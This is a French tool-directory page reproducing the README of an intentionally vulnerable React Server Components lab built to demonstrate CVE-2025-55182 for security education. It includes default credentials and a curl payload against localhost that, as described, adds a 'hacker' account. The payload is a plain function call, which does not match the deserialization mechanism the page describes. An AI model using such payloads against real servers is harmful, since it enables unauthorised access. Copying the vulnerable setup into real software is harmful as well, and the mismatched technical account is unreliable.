Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
React2Shell-Kingdom — "Il était une fois, le Château de Reactland faisait confiance à tous les messages Flight... jusqu'à l'arrivée de l'Imposteur." Une démonstration narrative de la CVE-2025-55182 (React2Shell) - Application vulnérable sur le thème médiéval de React Server Components pour l'éducation à la sécurité. | Kitploit
Outils/GitHubGitHub/mycompanyorganization/react2shell-kingdom
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubmycompanyorganization/react2shell-kingdom

React2Shell-Kingdom

Voir le dépôt
il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

"Il était une fois, le Château de Reactland faisait confiance à tous les messages Flight... jusqu'à l'arrivée de l'Imposteur." Une démonstration narrative de la CVE-2025-55182 (React2Shell) - Application vulnérable sur le thème médiéval de React Server Components pour l'éducation à la sécurité.

Partager

Projet de démonstration de la vulnérabilité React CVE-2025-55182

⚠️ AVERTISSEMENT DE SÉCURITÉ

Ce projet illustre une vulnérabilité RCE critique (CVE-2025-55182 / React2Shell) dans React Server Components 19.1.1.

  • UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ
  • NE JAMAIS déployer en production ni exposer à des réseaux non fiables
  • Exécuter uniquement dans des environnements isolés et contrôlés
  • Assurez-vous d'obtenir les autorisations nécessaires avant de tester

Présentation

Ce projet illustre CVE-2025-55182 (React2Shell), une vulnérabilité critique d'exécution de code à distance (RCE) dans React Server Components 19.1.1. L'application comprend :

  • Un site web d'une seule page avec authentification par nom d'utilisateur/mot de passe
  • Implémentation de React Server Components (RSC)
  • Point d'accès du protocole RSC Flight (vulnérable)
  • Configuration de déploiement Docker
  • Charge utile d'exploitation POC démontrant la vulnérabilité

Structure du projet

root@kitploit:~
react-cve-demo/
├── package.json              # React 19.1.1 with react-server-dom-webpack
├── server.js                 # Custom React server with RSC support
├── src/
│   ├── App.jsx              # Main React component
│   ├── Login.jsx            # Login page component
│   ├── Dashboard.jsx        # Protected page component
│   └── server-components/   # Server Components
│       └── AuthServer.jsx   # Server-side auth logic
├── data/
│   └── users.json           # User credentials storage
├── Dockerfile               # Docker containerization
├── docker-compose.yml       # Docker Compose setup
├── .dockerignore
├── exploit/
│   ├── poc.js              # POC exploit script (Node.js)
│   └── poc.sh              # POC exploit script (bash/curl)
└── README.md               # This file

Prérequis

  • Node.js 18+
  • Docker et Docker Compose (optionnel, pour le déploiement conteneurisé)
  • npm ou yarn

Installation

Développement local

  1. Clonez ou téléchargez ce dépôt
  2. Installez les dépendances :
    root@kitploit:~
    npm install
    
  3. Démarrez le serveur :
    root@kitploit:~
    npm start
    
  4. Accédez à l'application sur http://localhost:3000

Déploiement Docker

  1. Construisez et exécutez avec Docker Compose :

    root@kitploit:~
    docker-compose up --build
    

    Ou construisez et exécutez manuellement :

    root@kitploit:~
    docker build -t react-cve-demo .
    docker run -p 3000:3000 react-cve-demo
    
  2. Accédez à l'application sur http://localhost:3000

Flux d'utilisation

Flux d'authentification normal

  1. Accédez à l'application : Allez sur http://localhost:3000
  2. Page de connexion : Vous verrez un formulaire de connexion
  3. Identifiants par défaut :
    • Nom d'utilisateur : admin, Mot de passe : securepassword123
    • Nom d'utilisateur : user1, Mot de passe : password123
  4. Connexion réussie : Vous serez redirigé vers le tableau de bord protégé
  5. Déconnexion : Cliquez sur le bouton de déconnexion pour revenir à la page de connexion

Démonstration de la vulnérabilité

La vulnérabilité réside dans le mécanisme de désérialisation du protocole RSC Flight. L'exploitation :

  1. Crée une charge utile sérialisée malveillante ciblant les points d'accès des fonctions serveur
  2. Exploite une désérialisation non sécurisée pour exécuter du JavaScript arbitraire
  3. Crée une nouvelle entrée utilisateur dans le fichier JSON
  4. Contourne l'authentification en utilisant les nouveaux identifiants

Exécution de l'exploit POC

Option 1 : Script Node.js

root@kitploit:~
node exploit/poc.js

Ou avec une URL cible personnalisée :

root@kitploit:~
TARGET_URL=http://localhost:3000 node exploit/poc.js

Option 2 : Script Bash

root@kitploit:~
./exploit/poc.sh

Ou avec une URL cible personnalisée :

root@kitploit:~
TARGET_URL=http://localhost:3000 ./exploit/poc.sh

Option 3 : Commande curl manuelle

Version en une ligne :

root@kitploit:~
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Version multi-lignes (pour la lisibilité) :

root@kitploit:~
curl -X POST http://localhost:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Note : Une commande en une ligne prête à copier-coller est également disponible dans exploit/curl-oneline.txt

Après l'exploitation

  1. L'exploit crée un nouvel utilisateur dans data/users.json
  2. Vous pouvez maintenant vous connecter avec les identifiants créés :
    • Nom d'utilisateur : hacker
    • Mot de passe : hacked123
  3. Cela montre comment la vulnérabilité peut contourner l'authentification

Détails techniques

Vulnérabilité (CVE-2025-55182)

La vulnérabilité existe dans React Server Components 19.1.1, plus précisément dans :

  • Composant : react-server-dom-webpack
  • Version : 19.1.1 (vulnérable)
  • Problème : Désérialisation non sécurisée dans le protocole RSC Flight
  • Impact : Exécution de code à distance (RCE)
  • CVSS : Critique

Implémentation du serveur

Le serveur (server.js) implémente :

  • Serveur HTTP Express.js
  • Point d'accès du protocole RSC Flight (/rsc)
  • Exécution de fonctions serveur (point d'accès vulnérable)
  • Gestion des sessions
  • Service de fichiers statiques

Système d'authentification

  • Composant de connexion : Formulaire côté client pour nom d'utilisateur/mot de passe
  • Composant serveur d'authentification : Logique d'authentification côté serveur
  • Stockage des utilisateurs : Fichier JSON (data/users.json) stockant les identifiants
  • Routes protégées : Le tableau de bord nécessite une authentification

Protocole RSC Flight

Le point d'accès du protocole RSC Flight accepte :

  • action: "callServerFunction" : Exécuter des fonctions serveur
  • action: "renderRSC" : Rendre des composants serveur React

La vulnérabilité réside dans la manière dont les appels de fonctions serveur sont désérialisés et exécutés.

Considérations de sécurité

⚠️ Avertissements critiques

  1. Environnement isolé : Exécuter uniquement dans des environnements contrôlés et isolés
  2. Pas d'utilisation en production : Ne jamais déployer de code vulnérable en production
  3. Isolement réseau : Ne pas exposer à des réseaux non fiables
  4. Usage éducatif : Uniquement pour la recherche en sécurité et l'éducation
  5. Conformité légale : Assurez-vous d'obtenir les autorisations nécessaires avant de tester

Bonnes pratiques

  • Utilisez une VM ou un conteneur dédié pour les tests
  • Désactivez l'accès réseau sauf pour localhost
  • Ne stockez pas de données sensibles dans l'environnement de test
  • Nettoyez les données de test après la démonstration
  • Suivez les pratiques de divulgation responsable

Dépendances

  • React : 19.1.1 (version vulnérable)
  • react-server-dom-webpack : 19.1.1 (paquet vulnérable)
  • Express.js : ^4.18.2
  • express-session : ^1.17.3
  • Node.js : 18+

Dépannage

Le serveur ne démarre pas

  • Vérifiez que le port 3000 n'est pas déjà utilisé
  • Vérifiez que la version de Node.js est 18 ou supérieure
  • Assurez-vous que toutes les dépendances sont installées (npm install)

L'exploit ne fonctionne pas

  • Vérifiez que le serveur est en cours d'exécution
  • Vérifiez que le point d'accès RSC est accessible
  • Examinez les journaux du serveur pour détecter les erreurs
  • Assurez-vous que le script d'exploitation a les autorisations appropriées

Problèmes Docker

  • Assurez-vous que Docker est en cours d'exécution
  • Vérifiez la compatibilité de version de Docker Compose
  • Vérifiez que le port 3000 est disponible
  • Examinez les journaux Docker : docker-compose logs

Références

  • CVE-2025-55182 : Vulnérabilité React2Shell
  • Documentation de React Server Components
  • Spécification du protocole RSC Flight

Licence

Licence MIT - À des fins éducatives uniquement

Avis de non-responsabilité

Ce logiciel est fourni à des fins éducatives et de recherche en sécurité uniquement. Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Utilisez-le à vos risques et périls et assurez-vous de respecter toutes les lois et réglementations applicables.

Télécharger l’outil